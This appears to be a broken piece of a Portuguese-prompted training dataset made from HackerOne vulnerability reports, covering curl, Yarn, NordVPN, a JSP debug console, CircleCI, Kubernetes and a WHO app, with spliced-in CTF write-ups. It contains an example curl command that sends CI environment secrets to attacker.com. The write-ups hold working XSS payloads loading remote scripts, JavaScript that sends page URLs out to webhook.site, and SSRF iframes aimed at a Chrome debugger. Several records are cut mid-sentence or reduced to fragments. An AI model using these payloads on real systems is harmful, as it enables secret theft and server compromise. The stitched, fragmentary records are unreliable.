CApath directory\ncan contain CRL files in addition to CA certificate files and they are used\nfor certificate verification when curl calls OpenSSL. Code path using NSS blindly\nloads all files residing in CApath as CA certificates instead, which has two effects:\nfirst, the meaning of CRLs is ignored and revoked certificates can be accepted,\nsecond, NSS may find duplicate SN in corrupt 'CA certificate' during TLS handshake and break\nconnection to legitimate server (NSS does not perform full validation in load\nand search routines, ASN.1 templates used can mistakenly match both types of object).\nSuch use is not explicitly supported according to curl documentation strictly speaking\nbut I find current implementation very risky (I know security professionals who have fallen to this trap)\nand recommend adding validation/type detection for each file loaded\nfrom CApath (or using c_hash-style name extensions if any file with such extension\nis present, if full validation is deemed too complicated or as a quick fix helping most users).\n\n# Steps To Reproduce:\n 1. revoke a certificate, install resulting CRL in CApath, try with NSS-based curl\n 2. try connecting TLS server whose CA has self-signed certificate with SN=1 and CRL in CApath\n (success can depend on order of directory entries)\n\n### Impacto\nAn attacker can impersonate TLS server using revoked (presumably leaked) certificate."

This has only been tested on OSX systems, however it would also work on Unix systems, and will write a file into `/tmp/my-file`. Ensure this file doesn’t exist first.\n\n1.

As such, security conscious users of Yarn will be exposed when installing packages which make use of this attack -- as will companies who download and package Yarn dependancies on behalf of end-users in sandboxes (for example, company x receives a list of packages + custom functions from an end-user, and builds them in their build servers).\n\n- Yarn generally claims that unless post/pre-install hooks are present, there is little chance of remote code execution. A through review of source code does not protect against this attack; as the attack does not live in NodeJS, nor the package.json - it is in the structure of the package itself. \n\n- For example, Bob messages Alice and says \"I have pushed the code to xyz on NPM, can you take a look?\" - Alice downloads the package using all of the secure flags (`--ignore-scripts`, `--no-default-rc`) - yet Bob is still able to write files on Alice's system, possibly leading to RCE.\n\n- Finally, in the event of a package being published maliciously (as what has been seen previously), a popular package may have an additional vector in which it can be weaponized."

"input": "",
"output": "### Resumo da Vulnerabilidade\nI intially found the debug console as a tool to insert arbitrary html/xss bugs, however after further probing the debug console it has some serious security flaws to allow arbitrary java code to be executed. My intial report of a seperate bug using this console, https://hackerone.com/reports/767077, uses the out.print functionality to write html code into the jsp page to perform a XSS attack. This intself is a dangerous bug for compromising users of the webapp. However, what is even more dangerous is allowing any abritratry java code to be executed on the server that an attacker controls. This is exactly what the debug console allows. The console spawns calls the execute.jsp page and then spawns a new .jsp page to give back to the user. Within this scope, the java code that the user/attacker writes is excuted on the server with the privellages given to the new .jsp file under the auspcies of the execute.jsp file. What does this mean? Well, an attacker can write custom .jsp files with native java code to do all sorts of malicous things, which includes Local File Inclusion and overwriting/changing source code - among other attacks.\n\n### Passos para Reproduzir\n1. Visit: http://ptldynamicgame.mtn.sd/portal-api/tools/debug_console/index.jsp\n 2. Write any java code you want to be excuted:\n\n### Impacto\nOverall the impact for this is critical. In my PoC I demonstrated how you can run attacker controlled java code to read local files, which in itself is a huge bug. However, the power of this bug comes from the ability to really craft the payload to do whatever an attacker desires on your site. Overall, this bug leads to Remote Code Execution which is critical to compromising a server."

"input": "",
"output": "### Resumo da Vulnerabilidade\nA vulnerability exists in the NordVPN service, which is installed as part of the NordVPN Windows app. By exploiting a race condition in the NordVPN service it is possible to launch OpenVPN with a user-supplied configuration file. By setting an OpenSSL engine name within this configuration file, it is possible to cause OpenVPN to load an arbitrary DLL. The NordVPN service is running with SYSTEM privileges and is responsible for starting the OpenVPN process. Consequently, the code in the attacker's DLL will also run with SYSTEM privileges.\n\nThis issue exists because it is possible to pass the NordVPN service an arbitrary path via the `DomainName` parameter. The service will use the domain name to construct a path to the location of a OpenVPN configuration file. The configuration file is validated before starting OpenVPN. If the path is controlled by a local attacker it is possible to trigger a race condition. In the time after the validation of the NordVPN service and before starting OpenVPN, it is possible to switch the validated configuration with a different one containing configuration options that are normally not allowed.\n\n### Passos para Reproduzir\nAttached PowerShell Module can be used to exploit this issue.

"input": "",
"output": "### Resumo da Vulnerabilidade\nIt appears as though NordVPN uses two methods at two different endpoints (i.e., `/change-password/` and `/reset-password/`) to reset a user's password. By combining both methods, you are able to use multiple valid password reset tokens for one single account. Upon successful password change the 2nd time, the user is greeted with a `403 - Forbidden` message, disallowing them to logout or send additional reset links -- causing an inability to use the account until an IP address change and browser reset occur. That being said, here are a little more details on the methods for the reset tokens: \n\n**Method 1**\nWhile _authenticated_, login to your account navigate to `Change password` and request a link. In your email, your link will be as: \n * https://ucp.nordvpn.com/change-password/TOKEN/\n\n**Method 2**\nWhile unauthenticated, simply select `Forgot your password?` on https://ucp.nordvpn.com/. In your email, your link will be as: \n * https://ucp.nordvpn.com/reset-password/DIFFERENT-TOKEN/\n\n### Passos para Reproduzir\n**Manual PoC**\n 1. First, login to your account and navigate to the `Change Password` and select `Send Reset Link`. (**F682723**)\n 1. Logout of your account and navigate to https://ucp.nordvpn.com/login.\n 1. Select `Forgot your password?` and place in your email address. (**F682738**)\n 1. You should now have two emails from NordVPN which mention to reset your password. \n 1. Follow both links, open them in two different tabs, and make special note of the difference in endpoints (i.e., one is `/reset-password/` and the other is `/change-password/`). \n 1. Enter a new password into the first link (my password was \"33333333\"). In my case it was this endpoint: https://ucp.nordvpn.com/change-password/TOKEN/ that I used first.\n 1. Login and verify your password has changed. \n 1. Logout and navigate to the second browser tab with the https://ucp.nordvpn.com/reset-password/DIFFERENT-TOKEN/ still up.\n 1. Change the password to something else. My new password was \"77777777\". \n 1. Make note that you will probably hit several errors: **1** - 429 (too many requests), **2** - 403 (forbidden), and **3** - \"Something went wrong\".\n 1. Change your IP address, in my case I was already using a VPN and just selected a new location.\n 1. After my IP address changed, I was able to reset the password successfully and verified that my new password was now the one I used for my 2nd token, \"77777777\".\n\n> _Note:_ After Step 6, you want to make sure that both screens have `New Password` and `Confirm Password`, rather than back at the email login screen (i.e., `Username or email address` and `Password` is what you don't want to see for either of the links you followed).\n\n**Video PoC with timestamp descriptions**\n {F682727}\n 1. 0:02 - 0:17 -- creating a new password (33333333) and logging in.\n 1. 0:23 -- navigated to the second token endpoint `/reset-password/`\n 1. 0:29 -- 403 error, which means you are typically forbidden from whatever action you are trying to perform\n 1. 0:31 -- attempted to send the request multiple times as a Hail Mary for a potential Race Condition\n 1. 0:45 -- I put \"3333\" at the end of my username to show this was the prior password from the 1st reset link -- which, at this point should log me in since I was greeted ever-so kindly by the 403 error.\n 1. 0:50 -- logged in with password \"33333333\" from the 1st reset link. \n 1. 0:54 - 0:57 -- now got a 429 and 403 response. This is what I want in order to bypass the restriction.\n 1. 1:20 - 1:23 -- reset my IP address and tried again with password \"77777777\".\n 1. 1:24 -- notice I now have no errors and get redirected back to the main login page. If all went well, I should now be able to login with \"77777777\" and **not** \"33333333\". \n 1. 1:36 - 2:11 -- attempting to login with the new password of \"77777777\" along with the old password of \"33333333\" and received the **Something went wrong error**.\n 1. 2:15 -- the interesting part here is that I got two hits for password resets, noted by two separate emails from NordVPN. One from the `/change-password/` token and the other from the `/reset-password/` token.\n 1. 2:30 - 2:41 -- logging in with the password of \"77777777\", which shouldn't have worked since the token should be invalid, and I was hit with multiple error messages.\n\n### Impacto\n**Main Issue:**\nAt attacker may be able to take over another user's account. \n\n**Secondary Issue:**\nThe application issues two valid reset tokens for one user. After the 1st token is used, the 2nd token is able to be used as well (i.e., the application is *not* properly invalidating multiple tokens). Upon successful re-login, the user is unable to logout or perform additional activities until they reset their IP address and refresh their browser. They are simply stuck in 403 Limbo Land... and who wants to hang out there?!"

"input": "",
"output": "### Resumo da Vulnerabilidade\nAn attacker without any privilege is able to retrieve the special secret document, hosted on the https://h1-415.h1ctf.com website. To do so, multiple steps are required : \n\n1. The authentication must be bypassed to have a licensed account;\n2. The support team portal is vulnerable to a blind XSS,;\n3. The CSP rules are bypassable using sort of path traversal to render other javascript files on githack CDN.\n4. A direct object reference allow to modify data from every users from the support panel, without filtering of characters.\n5. The document converter is vulnerable to SSRF if the user name contains HTML tags.\n6. The chrome debugger API is opened, allowing to dump data from the browser used by the document converter.\n\nHere are the steps to finally get this special document !\n\n# Initially\n\nYou can register an account on the application. After the registration process, you receive a QRCode which contains two hexadecimal blobs separated by a colon. This QRCode is used in case you forgot your password, and allow to bypass the login process.\n\nThe QRCode first blob is simply the username, in hexadecimal ASCII. By removing the second blob and trying to use the QRCode, the error message indicates that it's a code, that is necessary and correctly validated to allow being logged in with this email.\n\nFrom a simple user without license, fields seems to be well escaped, and the converter seems to works well, without much possibility to exploit anything. Fields (usernames, etc) are correctly filtered; special characters are deleted from those fields.\n\nWe can see from the main page that the Jobert's mail address (jobert@mydocz.cosmic) is leaking from the *data-email* attribute of its message.\n\n# Authentication bypass thanks to data filtering\n\nAs we saw, data are filtered and special characters are deleted from users information. By creating a user with the jobert@mydocz.cosmic< email, the registration process is successful; however, thanks to the data filtering, the generated QRCode contains the real jobert@mydocz.cosmic email instead of the created one, with a code that also matches well.\n\nBy using this QRcode on the https://h1-415.h1ctf.com/recover endpoint, we can now login as Jobert to have a more privileged user, that can use the support endpoint.\n\nWe can't change information for this account, and the license seems to be expired, so we can't even use the upload functionality.\n\n# Blind XSS & CSP bypass on the support endpoint\n\nThe support endpoint seems to be a chatbot (or a real employee? who knows...), and sending some XSS payloads demonstrates easily that at least the frontend part doesn't sanitize messages at all.\n\nBy sending the \"quit\" message, we're asked to rate the overall communication. If the note is set to the minimum - 1 star - we're notified that an employee will check the discussion to see what happened.\n\nInputting a XSS payload and then quitting with a bad rating for this discussion, we can trap an employee to make him execute some javascript; however, a Content-Security-Policy rules is in place, containing the following : \n\n* default-src 'self'; object-src 'none'; script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; img-src data: * *\n\nIt also does not leak the referrer, thanks to the *Referrer-Policy* header set to *strict-origin-when-cross-origin*.\n\nAs we can see, we're able to load javascript files from https://raw.githack.com/mattboldt/typed.js/master/lib/ URL, and it's child. I created a new repo on Github, which contains some of my javascript payload. Here is an example, that extracts the current URL to my own server : \n\n*https://github.com/Blaklis/typed.js/blob/master/lib/yolo.js*\n\nAs Githack serves GItHub files directly, as a CDN, and that it treats ..%2f as a traversal, we can simply point to our files using the following URL : \n\n*https://raw.githack.com/mattboldt/typed.js/master/lib/..%2f..%2f..%2f..%2fBlaklis/typed.js/master/lib//yolo.js*\n\nFor the browser, this URL is a child of *https://raw.githack.com/mattboldt/typed.js/master/lib/* and completely respects the CSP rule.\n\nFinal payload : <script src=\"https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fBlaklis/typed.js/master/lib//yolo.js\"/>\n\nThis leaks a URL that is directly accessible - even unauthenticated - to the support panel for this very own discussion, for example https://h1-415.h1ctf.com/support/review/5529c168769ff7e096bb40cc9438a5295692bb567844c837bb5fae37980612ee\n\n# Direct object reference allows to edit every users' information without filtering\n\nWhen we're on the support page, we can see a form that allow to change users' information. This form also contains a *user_id* field, which is not checked at all. Consequently, we're able to change every users name through this page.\nAlso, we can see that there's no filtering on characters on this page, allowing to includes some XSS payload in the name, while it wasn't possible for the public /settings endpoint.\n\nThe jobert's account can't be modified, even with this method. We can so create an account, and then edit it through this way to have some forbidden characters in its name.\n\nA payload example, considering we own the user 16 : \n\n```\nPOST /support/review/85c8e222848012b567fed595a6bdcb3b57ce6bce4716d132e8361536fcc29031 HTTP/1.1\n[...]\nCookie: _csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7; session=.eJwli8sOgjAQRb_FWRPSp5au-Ah3xpA6zCiBFkPrghj_3RpXJ-fk3jcMmDceyjpTAg9aKhrZIVpplGapxcg2iA4769A4a4m5E3iCBvARCvjLtQGKYVrq-baEeZlym6Ztr-zvv97iGuv6lWkbyv4k8PpvKcQqcKZcpNLGHg_w-QKRNi0N.XiDmKA.o5lphYOx41pDSbeAm37D7wA9grg\n\nname=<script src=\"http://blakl.is/pwn.js\"/>&user_id=16&_csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7\n```\n\n# SSRF in document conversion\n\nThe document converter allow to upload images to get PDF as output. The PDF also contains the owner's name, and is vulnerable to a XSS when being interpreted by the converter. This allows to make some redirect using a <script>document.location.href='//website'</script> payload, for example. It also interprets iframe, which allow to inspects which ports are opened locally easily.\n\nI saw that ~300 iframes in the same document is possible without having a timeout from the converter. This allow to create a lot of iframes to localhost, with different ports, to see if it outputs something. Multiple ports have been found open, and notably : \n\n- 80\n- 443\n- 3000\n- 9222\n- 13398\n\nThe 9222 port responds with a \"Inspectable web contents\" message, which corresponds to the debugger API from Chrome, which is a pretty interesting target.\n\nHere is an example payload that sets the payload in the name of the user 16 : \n\n``\nPOST /support/review/85c8e222848012b567fed595a6bdcb3b57ce6bce4716d132e8361536fcc29031 HTTP/1.1\n[...]\nCookie: _csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7; session=.eJwli8sOgjAQRb_FWRPSp5au-Ah3xpA6zCiBFkPrghj_3RpXJ-fk3jcMmDceyjpTAg9aKhrZIVpplGapxcg2iA4769A4a4m5E3iCBvARCvjLtQGKYVrq-baEeZlym6Ztr-zvv97iGuv6lWkbyv4k8PpvKcQqcKZcpNLGHg_w-QKRNi0N.XiDmKA.o5lphYOx41pDSbeAm37D7wA9grg\n\nname=<iframe src=\"http://localhost:9222\"/>&user_id=16&_csrf_token=312edf8cc51423f130df5a09c958c4855eff90c7\n```\n\nThe user 16 is now able to make a document conversion. The output document will contains an iframe with data from http://localhost:9222.\n\n# Chrome debugger API opened\n\nThe Chrome debugger API is enabled and can be accessed through the SSRF from the previous step. There are both a Websocket API (complete) and a JSON API (limited) that allows to retrieve data from this interface.\n\nBy using the JSON api, hitting the */json/list* endpoint, we can see every tabs that are currently opened, with associated URLs and titles. Here is a sample of data returned : \n\n```\n[ { \"description\": \"\", \"devtoolsFrontendUrl\": \"/devtools/inspector.html?ws=localhost:9222/devtools/page/06B5383E01A67809265501A45699022A\", \"id\": \"06B5383E01A67809265501A45699022A\", \"title\": \"My Docz Converter\", \"type\": \"page\", \"url\":\"http://localhost:3000/converter/de5be989b6ba5bf281074073611b12a2cef1fab3fb24f99decc6be773fce5927.png?user_name=Jobert%3Cscript%3Edocument.location.href%3D%27http%3A//localhost%3A9222/json%27%3C/script%3E\", \"webSocketDebuggerUrl\": \"ws://localhost:9222/devtools/page/06B5383E01A67809265501A45699022A\"}, { \"description\": \"\", \"devtoolsFrontendUrl\": \"/devtools/inspector.html?ws=localhost:9222/devtools/page/40B45AD7E01052E5E79BE278D1C6F03C\", \"id\": \"40B45AD7E01052E5E79BE278D1C6F03C\", \"title\": \"My Docz Converter\", \"type\": \"page\", \"url\": \"http://localhost:3000/login?secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf\", \"webSocketDebuggerUrl\": \"ws://localhost:9222/devtools/page/40B45AD7E01052E5E79BE278D1C6F03C\"}, { \"description\": \"\", \"devtoolsFrontendUrl\": \"/devtools/inspector.html?ws=localhost:9222/devtools/page/69206B536A6D44F4950C2BE822522BF8\", \"id\": \"69206B536A6D44F4950C2BE822522BF8\", \"title\": \"about:blank\", \"type\": \"page\", \"url\": \"about:blank\", \"webSocketDebuggerUrl\": \"ws://localhost:9222/devtools/page/69206B536A6D44F4950C2BE822522BF8\"}, { \"description\": \"\", \"devtoolsFrontendUrl\": \"/devtools/inspector.html?ws=localhost:9222/devtools/page/37FC54275A3B9966EE6307427568FF34\", \"id\": \"37FC54275A3B9966EE6307427568FF34\", \"title\": \"about:blank\", \"type\": \"page\", \"url\": \"about:blank\", \"webSocketDebuggerUrl\": \"ws://localhost:9222/devtools/page/37FC54275A3B9966EE6307427568FF34\"}, { \"description\": \"\", \"devtoolsFrontendUrl\": \"/devtools/inspector.html?ws=localhost:9222/devtools/page/D06A13E7032D841AD5B56B06F055B4B9\", \"id\": \"D06A13E7032D841AD5B56B06F055B4B9\", \"title\": \"about:blank\", \"type\": \"page\", \"url\": \"about:blank\", \"webSocketDebuggerUrl\": \"ws://localhost:9222/devtools/page/D06A13E7032D841AD5B56B06F055B4B9\"} ]\n```\n\nAs we can see, there is a *http://localhost:3000/login?secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf* tab that is opened.

Once logged in we had access to the `support` bot (if you left a `1` star review, \"someone\" would come by and check our conversation) - here we realized we could inject markup however the CSP policy was pretty strict, the only outside script allowed to run needed to come from `https://github.com/mattboldt/typed.js/master/lib/` we found that we could append a github repo to this url and execute it's content `https://github.com/mattboldt/typed.js/master/lib/@https://github.com/username/repo_name/master/filename.js` you have to remove `/blob/` from the repo url. Once we had execution we tried to exfiltrate `cookies` and anything we could think of, include `window.location.href` which gives you the current url the user is visiting, we did is using a script that looked like\n```js\nvar image = document.createElement(\"img\")\nvar image.src = \"webhook.site/1234/img.png?url= + window.location.href\ndocument.body.appendChild(image)\n``` \nThis allowed us to get the reviewer link to our conversation: `https://h1-415.h1ctf.com/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd` \nOnce you had access to the form in the reviews there's a form the reviewer has access to, to edit the user's name, this parameter was vulnerable to an IDOR - so you could edit anyone's name, we created a second trial account and tried to change its name - it worked, next we noticed the pdf's the application was creating rendered the name of the user - with this information we tried to inject html into the name using the IDOR we found and it worked! html is rendering, let's make a request to our server so we can get more information about what's creating these pdfs, here I used https://ssrftest.com to test for SSRF - there's a payload to use an image and try to get a request back to the server - it works and the header's that are important to us here are `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36` it tells us this is a headless browser Chrome running on linux, there's also a `Referer: http://localhost:3000/` so we know this is running behind a proxy - we spent a lot of time trying to figure out how to do the next thing - finally we started using an `iframe` to \"peek\" inside the application, trying ports, `80` returned `FORBIDDEN` and everything else we tried was blank, and then I remembered this was using `headless Chrome` so I used my google-fu and searched for `headless chrome port number` and the results were promising: \n```\nchrome \\\n --headless \\ # Runs Chrome in headless mode.\n --disable-gpu \\ # Temporarily needed if running on Windows.\n --remote-debugging-port=9222 \\\n https://www.chromestatus.com # URL to open. Defaults to about:blank.\n```\n\nWe used that port number like so: `<iframe src='http://localhost:9222 width=900 height=900></iframe>` this gave us back: \n\n`Inspectable WebContents` :( \n\nbut then we tried: `<iframe src='http://localhost:9222/json width=900 height=900></iframe>` and....\n\nwe receive a json document with the important part being\n```\nsecret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf\", \"webSocketDebuggerUrl\": \"ws://localhost:9222/devtools/page/E20087FA03CA27A6E908AFD7E5321E88\"```\n\nif you access: https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf\n\nIt is done! \n\nThank you Hacker1 for hosting this event, I participated with 2 other awesome friends from the hacker101 discord @checkm50 & @ Al-MadjusT who without I would not have been able to finish it - we did it and took us every moment of it, but we did it.

If the attacker can control the string's contents, they can even insert code into the process heap, or modify the call stack. Depending on the architecture and application, this can lead to various issues, up to remote code execution.\n\nIt is perfectly valid to pass in a non-NULL pointer for `buf` while specifying `bufsize == 0`. For example, `malloc(0)` is not guaranteed to return `NULL`. A npm package might correctly work on one machine based on the assumption that `malloc(0) == NULL`, but might create severe security issues on a different host. Passing a non-NULL pointer is also not ruled out by the documentation of N-API, so it is not valid to assume that `buf` will always be `NULL` if `bufsize == 0`.\n\n### Impacto\nnpm packages and other applications that use N-API may involuntarily open up severe security issues, that might even be exploitable remotely. Even if `buf` is a valid pointer, passing `bufsize == 0` allows to write outside of the boundaries of that buffer.\n\nStep 2 of the description allows an attacker to precisely define what is written to memory by passing in a custom string. Depending on whether the pointer points to heap or stack, possible results include data corruption, crashes (and thus DoS), and possibly even remote code execution, either by writing instructions to heap memory or by corrupting the stack.\n\nMany attacks are likely caught by kernel and hardware protection mechanisms, but that depends on the specific hardware, kernel, and application, and memory layout. Even if they are caught, the entire process will crash (which is still good compared to other outcomes)."

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: nextcloud-snap CircleCI project has vulnerable configuration which can lead to exposing secrets",
"input": "",
"output": "### Resumo da Vulnerabilidade\nCircleCI allows projects to configure whether builds will run as a result of a pull request from a fork, and also whether these fork PRs have access to the secrets stored in the parent repo's CircleCI settings. When both settings are enabled, and the repo associated with the project allows PRs to come from forks from any user (which Github always allows), then a CircleCI project is vulnerable to leaking secrets. Please see the following for documentation on this:\n\nhttps://circleci.com/docs/2.0/oss/#pass-secrets-to-builds-from-forked-pull-requests\n\nParticularly:\n\n> If you are comfortable sharing secrets with anyone who forks your project and opens a PR, you can enable the Pass secrets to builds from forked pull requests option\n\nI believe the `nextcloud/nextcloud-snap` CircleCI project is configured in a vulnerable state, where both these settings are enabled. To determine this, I have developed an automated technique to query CircleCI projects for various non-sensitive settings including whether secrets are being passed to PRs from forks, although an attacker may be able to determine this by manually inspecting the build logs of fork PRs to the project for signs of credential use, or by simply doing a spray-n-pray, i.e., send in a malicious PR and hope for the best. You can confirm this by accessing the CircleCI dashboard, selecting the `nextcloud/nextcloud-snap` project, clicking on the Settings icon (right side, little cog icon), choosing \"Advanced Settings\", and scrolling down to \"Build forked pull requests\" (should be \"On\") and \"Pass secrets to builds from forked pull requests\" (should be \"On\").\n\nInspecting the `.circleci/config.yml` file for this repo suggests that there may not be any secret values being used, however if you go to a build job such as this one:\n\nhttps://circleci.com/gh/nextcloud/nextcloud-snap/4537\n\nThen expand the \"Preparing Environment Variables\" section, and scroll down to \"Using environment variables from project settings and/or contexts\", you can see that the CircleCI environment has access to `GH_AUTH_TOKEN`, which I'm assuming is a Github auth token. Assuming the worst, and this token grants a high level of access, its exposure using the technique outlined in this report could lead to malicious code being injected into Nextcloud repos, access to private repos etc.\n\nFYI, utilizing CircleCI Contexts may have prevented this configuration from being an issue, however my analysis of the CircleCI config file in this report suggests that Contexts is not being used.\n\nhttps://circleci.com/docs/2.0/contexts/\n\n**Please note:** I did *not* submit any real pull requests to confirm this vulnerability, as I did not want to potentially tip off real attackers, as it would be hard to conduct a proof of concept in a public PR without also risking revealing the vulnerability. However my testing on CircleCI is fairly conclusive that these two configuration settings being enabled are vulnerable.\n\nWith that said, I'm willing to help prove this vulnerability in a more private environment, such as a private Nextcloud Github repository that is configured for CircleCI builds with the same vulnerable configuration outlined in this, which I have access to submit PRs to. The permission model on Github really has no bearing on this vulnerability from what I can tell, so I believe this would be a faithful representation of the vulnerability, without exposing the technique publicly. My Github username is `ndavison` if you wish to do this.\n\n### Passos para Reproduzir\n1. Fork the `nextcloud/nextcloud-snap` repo to a user (e.g. so it ends up as https://github.com/USER/nextcloud-snap).\n 1. Create a new branch in the fork, and modify the `.circleci/config.yml` file so environment variables are exfiltrated, e.g. add `- run: curl https://attacker.com/?env=$(env | base64 | tr -d '\\n')` to a CircleCI step that is executed during the CI build.\n 1. Send the branch in as a PR to `nextcloud/nextcloud-snap`.\n 1. Watch the web logs on `attacker.com` and wait for the environment variables stored in the CircleCI `nextcloud/nextcloud-snap` project to arrive via the query string.\n\n### Impacto\nBy abusing the CircleCI configuration for the project, an attacker would be able to leak environment variables, deployment keys, and other credentials stored within the CircleCI project's settings. In this case it looks like the project might have access to a Github access token."

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: IPv4 only clusters susceptible to MitM attacks via IPv6 rogue router advertisements",
"input": "",
"output": "### Resumo da Vulnerabilidade\nIn many K8S network configurations the container network interface is a virtual ethernet link going to the host (veth interface). In this configuration, an attacker able to run a process as root in a container can send and receive arbitrary packets to the host using the CAP_NET_RAW capability (present in default configuration).\n\nIn a K8S cluster with an IPv4 internal network, if IPv6 is not totally disabled on the host (via ipv6.disable=1 on the kernel cmdline), it will be either unconfigured or configured on some interfaces, but it’s pretty likely that ipv6 forwarding is disabled, ie /proc/sys/net/ipv6/conf/*/forwarding == 0. Also by default, /proc/sys/net/ipv6/conf/*/accept_ra == 1. The combination of these 2 sysctls means that the host accepts router advertisements and configure the IPv6 stack using them.\n\nBy sending “rogue” router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container.\nEven if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond.\nIf by chance you also have on the host a vulnerability like last year’s RCE in apt (CVE-2019-3462), you can now escalate to the host.\n\nAs CAP_NET_ADMIN is not present by default in K8S pods, the attacker can’t configure the IPs they want to MitM, they can’t use iptables to NAT or REDIRECT the traffic, and they can’t use IP_TRANSPARENT. The attacker can however still use CAP_NET_RAW and implement a tcp/ip stack in user space.\n\nThis report includes a POC based on smoltcp (https://github.com/smoltcp-rs/smoltcp) that sends router advertisements and implements a dummy HTTP server listening on any IPv6 addresses.\n\nThis vulnerability can easily be fixed by setting accept_ra = 0 by default on any interface managed by CNI / K8S.\n\n### Passos para Reproduzir\nPlease find attached F748694, a recording of my shell using asciinema (https://github.com/asciinema/asciinema)\n\nThe GKE cluster used was created using the following command:\n`gcloud beta container --project \"copper-frame-263204\" clusters create \"testipv6\" --zone \"us-central1-c\" --no-enable-basic-auth --release-channel \"rapid\" --machine-type \"n1-standard-1\" --image-type \"COS\" --disk-type \"pd-standard\" --disk-size \"100\" --metadata disable-legacy-endpoints=true --scopes \"https://www.googleapis.com/auth/devstorage.read_only\",\"https://www.googleapis.com/auth/logging.write\",\"https://www.googleapis.com/auth/monitoring\",\"https://www.googleapis.com/auth/servicecontrol\",\"https://www.googleapis.com/auth/service.management.readonly\",\"https://www.googleapis.com/auth/trace.append\" --num-nodes \"3\" --enable-stackdriver-kubernetes --no-enable-ip-alias --network \"projects/copper-frame-263204/global/networks/default\" --subnetwork \"projects/copper-frame-263204/regions/us-central1/subnetworks/default\" --no-enable-master-authorized-networks --addons HorizontalPodAutoscaling,HttpLoadBalancing --enable-autoupgrade --enable-autorepair`\n\nThis cluster is created without `--enable-ip-alias` (but the attack also with it)\n\n### Impacto\nAn attacker able to run arbitrary code as root inside of a container can MitM part of the host’s traffic.

An\nattacker that was able to align the heap in such a way that a virtual table\npointer was after the urnState object could gain control of the instructor\npointer, thus, gaining control of the Squid process.\n\nThe second is that before urnState overflows into that adjacent object it will\noverflow the pointer urlres within itself. This pointer later is free'd. An\nattacker with knowledge of current addresses in Squid could use this to\ntrigger a Use-After-Free."

When we start to scale & downscale this deployment, we get a massive increase in the API/ETCD memory & CPU usage. \n\nIn my case, I literally ruined my cluster that consists of 3 master nodes (4 vCPUs, 15 GB memory each)\n\n### Passos para Reproduzir\nShort story:\n\n 1.

"input": "",
"output": "### Resumo da Vulnerabilidade\nNote: I noticed that that the team has fixed issues like an XSS that's caused only from a header value (typically OOS since it's not directly exploitable) https://github.com/WorldHealthOrganization/app/pull/855, so in the spirit of this I'm also reporting another \"good-to-fix\" issue.\n\nOn the WHO app, users send approximate location data to the `WhoService` API:\n\n`/app/client/flutter/lib/pages/onboarding/location_sharing_page.dart`:\n\n```\n Future<void> _allowLocationSharing() async {\n try {\n await Location().requestPermission();\n if (await Location().hasPermission() == PermissionStatus.granted) {\n if (await Location().requestService()) {\n LocationData location = await Location().getLocation();\n Map jitteredLocationData = JitterLocation().jitter(\n location.latitude, location.longitude,\n 5 /*kms refers to kilometers*/);\n\n await WhoService.putLocation(\n latitude: jitteredLocationData['lat'],\n longitude: jitteredLocationData['lng']);\n }\n }\n } catch(_) {\n // ignore for now.\n } finally {\n _complete();\n }\n }\n```\n\nWhich in turn translates to a call to `https://staging.whocoronavirus.org/WhoService/putDeviceToken`:\n\n```\ncurl --request POST \\\n --url 'https://hackerone.whocoronavirus.org/WhoService/putLocation' \\\n --header 'content-type: application/json' \\\n --header 'who-client-id: ██████████' \\\n --header 'who-platform: ios' \\\n --data '{\n\t\"latitude\": 22222222,\n\t\"longitude\": \"9999999\"\n}'\n```\n\nThis returns a `200 OK` response. On the server side, we see that it uses the following logic:\n\n```\n @Override public Void putLocation(PutLocationRequest request) throws IOException {\n Client client = Client.current();\n client.latitude = request.latitude;\n client.longitude = request.longitude;\n S2LatLng coordinates = S2LatLng.fromDegrees(request.latitude, request.longitude);\n client.location = S2CellId.fromLatLng(coordinates).id();\n ofy().save().entities(client);\n return new Void();\n }\n```\n\nThere is no validation on `request.latitude, request.longitude` before it is stored into the Google App Engine datastore. This is because the `S2LatLng.fromDegrees` (which transforms the values into a `S2LatLng` object) from the `s2-geometry-library-java` library specifically does not validate these values because, according to their comments at https://github.com/google/s2-geometry-library-java/blob/master/src/com/google/common/geometry/S2LatLng.java:\n\n```\nLike the rest of the \"geometry\" package, the\nintent is to represent spherical geometry as a mathematical abstraction, so\nfunctions that are specifically related to the Earth's geometry (e.g.\neasting/northing conversions) should be put elsewhere.\n```\n\nThus, even these values:\n\n```\n\t\"latitude\": 22222222,\n\t\"longitude\": \"9999999\"\n```\n\nAre accepted and stored in the database even though they are technically non-existent coordinates on earth.\n\nTo reproduce, just run this request with different `who-client-id` UUID you generated yourself and impossible `latitude` and `longitude`.\n\n```\ncurl --request POST \\\n --url 'https://hackerone.whocoronavirus.org/WhoService/putLocation' \\\n --header 'content-type: application/json' \\\n --header 'who-client-id: ████████' \\\n --header 'who-platform: ios' \\\n --data '{\n\t\"latitude\": 22222222,\n\t\"longitude\": \"9999999\"\n}'\n```\n\n### Impacto\nAn attacker can exploit this to affect the Availability or Integrity of the analytics data by injecting false location values and falsifying user data. A fix for this would be to implement a quick lat lng validator that is specifically meant to validate Earth geometry, instead of the `S2LatLng` class."

